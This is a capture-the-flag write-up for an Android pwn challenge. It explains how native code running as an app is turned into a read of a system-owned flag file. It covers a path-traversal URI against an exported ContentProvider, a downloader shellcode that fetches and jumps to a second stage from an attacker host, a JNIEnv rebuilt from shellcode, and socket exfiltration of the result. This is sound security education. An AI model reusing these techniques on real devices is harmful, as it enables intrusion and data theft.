CTF Shutlock 2026 · pwn Android
Part 1 gave us 0-click native code execution, but under the app’s uid
(ctf.shutlock.csms). That was enough for flag1. Not for flag2, which belongs to
system: no open() will read it, whatever native code we run. We need to borrow
someone else’s rights.
Goal: read /data/vendor/flag2.txt (-r-------- system system) remotely.
TL;DR
RCE in the app != reading everything: flag2 is protected by DAC (uid system). We
pivot through a broken vendor ContentProvider (SNotesProvider): a path traversal
(content://ctf.shutlock.snotes.provider/../flag2.txt) makes it read the file with its
system rights, a confused deputy. Since a provider query() is a Java/Binder
operation (not a syscall) and seccomp blocks the execve shortcut, we rebuild a
JNIEnv from raw shellcode (resolving JNI_GetCreatedJavaVMs via /proc/self/maps,
then GetEnv) and replay ContentResolver.query() in JNI. Payload too big for part 1’s
groom: we deliver it in two stages. Content XORed with a key hardcoded in the APK,
decoded attacker-side.
Reconnaissance
flag1 was readable by untrusted_app; flag2 isn’t:
-r-------- 1 system system 70 /data/vendor/flag2.txt
Mode 0400, owner system. The app (untrusted_app) takes an EACCES. Arbitrary
native code changes nothing: we stay under the app’s weak uid. Escalating the code we
run isn’t enough: we have to change who does the read. So we look for a more
privileged component: which processes run as uid system without being a standard AOSP
component?
adb shell ps -eZ | grep system | grep -v android
# u:r:snotes_provider:s0:c512,c768 system ... ctf.shutlock.snotes
Only one custom app stands out: ctf.shutlock.snotes, uid system, dedicated SELinux
domain snotes_provider. We pull its APK with adb pull (path given by
adb shell pm path ctf.shutlock.snotes) and decompile it.
The pivot
A ContentProvider publishes data behind a content://authority/path URI. When a
caller does ContentResolver.query(uri, ...), it doesn’t read the file itself: a
Binder call enters the provider’s process, which runs under its own uid
(system) and does the access on its behalf. That’s exactly the confused deputy
pattern: a system component reading files for an unprivileged caller.
SNotesProvider is exported="true" with no permission (any app can call it), and
its query() builds the path without the slightest sanitization:
private final String DIR = "/data/vendor/snotes/"; // this.db
public Cursor query(Uri uri, ...) {
String path = uri.getPath();
File file = new File(this.db, path); // no ".." filtering
...
byte[] bArr = new byte[(int) file.length()];
fileInputStream.read(bArr);
String s = new String(xor(bArr)); // XOR hardcoded key (32B)
MatrixCursor c = new MatrixCursor(new String[]{"content"});
c.addRow(new Object[]{s});
return c;
}
uri.getPath() of content://.../../flag2.txt is "/../flag2.txt", so
new File("/data/vendor/snotes/", "/../flag2.txt") resolves, at the FileInputStream,
to /data/vendor/flag2.txt, read with the provider’s system rights. The content
comes back XORed with a 32-byte key hardcoded in the APK, so trivially reversible.
We prove the bug without writing a line of exploit, from a plain shell:
adb shell content query --uri "content://ctf.shutlock.snotes.provider/../flag2.txt"
# -> a "content=..." line (the XORed flag) instead of "No result found"
(A content query on ../flag.txt returns “No result found”: the traversal works, it
was just the wrong filename.)
On the MAC side, sesearch on precompiled_sepolicy confirms
allow snotes_provider flag2:file { read } and that any app can Binder-call any other.
SELinux never blocked this path, only DAC did; the deputy sidesteps DAC.
Why not a shell
The tempting shortcut: execve("/system/bin/content", ...), which SELinux even allows.
content re-execs app_process; to capture its output our shellcode first has to
redirect stdio onto the socket with dup2. And that’s where it jams: dup2
(syscall 33, x86_64 legacy) isn’t in the apps’ seccomp allowlist, because bionic only
emits dup3. So the process dies on SIGSYS at the dup2, before even reaching the
execve. Hence: real JNI, not a shell.
From native to Java
Our foothold is native code execution in an RWX page (inherited from part 1), not a
.so loaded by the linker. That code speaks only one language: syscalls. In part 1
that was enough, flag1 was a file.
But querying a ContentProvider is not a syscall: it’s a Java/Binder operation. To
trigger it we have to climb back up to Java, so a JNIEnv: the table of ~230
functions through which native calls Java. Two sub-problems, which we solve and
validate one at a time. No practical debugger on the target: we advance in increments,
each one exfiltrating a proof over the socket, one signal to check at a time.
Stage 1: deliver and jump onto our native code
Part 1’s groom writes a value into a freed chunk that’s later executed. It’s capped at
247 bytes and byte-constrained: no 0x20 (space ends a word in the parser) nor }}
(end of expression). Too little for a ~2 KB JNI driver. We keep the groom intact and
make it carry a byte-clean downloader:
mmap(NULL, 1 MiB, PROT_READ|WRITE|EXEC, MAP_PRIVATE|ANON) // RWX page -> r15
socket(); connect(attacker:port) // fd -> r12
read(fd, &len, 8); read(fd, r15, len) // recv stage2 -> r15
jmp r15
stage2 arrives over raw TCP, with no byte or size constraint. The downloader
leaves it a contract: r12 = sockfd (socket still open, reused for exfil),
r15 = base of the RWX page. stage2 is freestanding C flattened into a PIC blob
(impossible to link a libc into injected code: no loader, no crt0, arbitrary load
address):
clang --target=x86_64-linux-gnu -ffreestanding -nostdlib -fPIC -Os -c stage2.c
ld -T flat.ld stage2.o
objcopy -O binary a.out stage2.bin
# readelf -r: only PC32/PLT32, no absolute reloc
First test, before any JNI. We serve a minimal stage2 that just does
write(r12, "OK"). We launch the exploit, and if OK comes back, the whole foundation is
validated: the downloader does mmap an RWX page, downloads the blob and actually
jumps onto it. We run our native code, we can build the rest.
Rebuilding a JNIEnv
env isn’t in /proc/self/maps (a runtime object, per thread, not a symbol). What
maps gives is a lib’s base, so the address of an exported function. We go through
JNI_GetCreatedJavaVMs, reading the base of libnativehelper.so in /proc/self/maps
(buffer >= 1 MB, otherwise the useful line gets truncated; the symbol’s offset is pinned
once at readelf):
JavaVM *vm = 0; jsize n = 0; JNIEnv *e = 0;
((getvms_t)(base + 0x5d30))(&vm, 1, &n); // -> JavaVM (process)
(*vm)->GetEnv(vm, (void **)&e, JNI_VERSION_1_6); // -> JNIEnv (thread)
JavaVMvsJNIEnv. TheJavaVMis the global handle (one per process), found viaJNI_GetCreatedJavaVMs; theJNIEnvis per thread, returned byGetEnv. The hijacked thread is already attached (it’s the ART thread that was runningevaluate), soGetEnvis enough, noAttachCurrentThread.- The double arrow.
vm/envare pointers to tables of function pointers;(*vm)->GetEnv(vm, ...)dereferences to reach the table, picks the function, and passes the handle back as the 1st argument (the implicitthisof the JNI ABI).
Test (two increments): we first exfiltrate libnativehelper’s base (compared to
/proc/.../maps, the parse is right), then GetVersion(). Receiving 0x00010006
proves we’ve rebuilt a usable JNIEnv.
(Alternative: env is also recoverable on the stack, it’s the 1st argument of the
JNI wrapper; shorter, but you have to pin a stack offset. The maps route is
self-contained, we keep it.)
Replaying the query
With env, we replay call by call the equivalent of this Java:
Cursor c = ActivityThread.currentApplication() // Context
.getContentResolver()
.query(Uri.parse("content://ctf.shutlock.snotes.provider/../flag2.txt"),
null, null, null, null); // <- reaches snotes
c.moveToFirst();
String flag = c.getString(0); // XORed flag
Each .method(...) translates into the same triple: FindClass ->
Get[Static]MethodID(name, signature) -> Call[Static]<Type>Method, with the double
arrow (*e)->Fn(e, ...). currentApplication and Uri.parse are static (called on
the class); getContentResolver, query, moveToFirst, getString are instance
(called on the object). Our char* becomes a Java String via NewStringUTF, and
GetStringUTFChars gives back the bytes of the returned String.
The decisive call is the 4th: resolver.query(...) sends the Binder IPC to the
system provider, which does the traversal, reads flag2 and returns it XORed.
Everything else is just the plumbing to reach that line. Since we’re firing blind, each
step drops an error marker (E0..E5): if a call returns NULL, we get the marker
and know exactly where it broke, in a single shot.
Last increment: we exfiltrate the XORed bytes, the listener re-applies the 32-byte key
-> SHLK{...}. stage2 ends with exit (syscall 60, thread only): it kills the
worker, not the process, so no tombstone. The only real success signal is the exfil.
Flag & wrap-up
SHLK{...} exfiltrated 0-click.
- A DAC (uid) an RCE doesn’t cross: look for a privileged deputy; an
exportedContentProvider + path traversal is the perfect way in. - Native code only speaks syscalls; to drive a provider you have to climb back to
Java by rebuilding a
JNIEnvfrom raw shellcode (manual JVM resolution via maps, nodlopen). - What forbids the shell here is seccomp (
dup2), not SELinux: check the real cause before concluding. - Injected != loaded: freestanding + raw syscalls is the clean idiom, not a fallback; neither stdio nor NDK change the link constraint.
- With no debugger, you tune by exfiltrating a proof per increment: jump onto the
native code, then reception of the
JNIEnv, then the chain.
Next: part 3, root and reading flag3 via a kernel LPE.
References
- Maddie Stone, Android App Reverse Engineering 101 (native/JNI)
- JNI Invocation API (JNI_GetCreatedJavaVMs, GetEnv)
- Android ContentProvider
- seccomp-bpf on app processes (Android)
- Oversecured, path traversal in ContentProviders
- Project Zero, “A Very Powerful Clipboard” (confused deputy via a privileged domain)
- Caleb Fenton, creating/resolving a JavaVM from Android native code
- AOSP art/runtime/thread.h (tlsPtr_.jni_env: the “stack” route)
- Running the emulator from the command line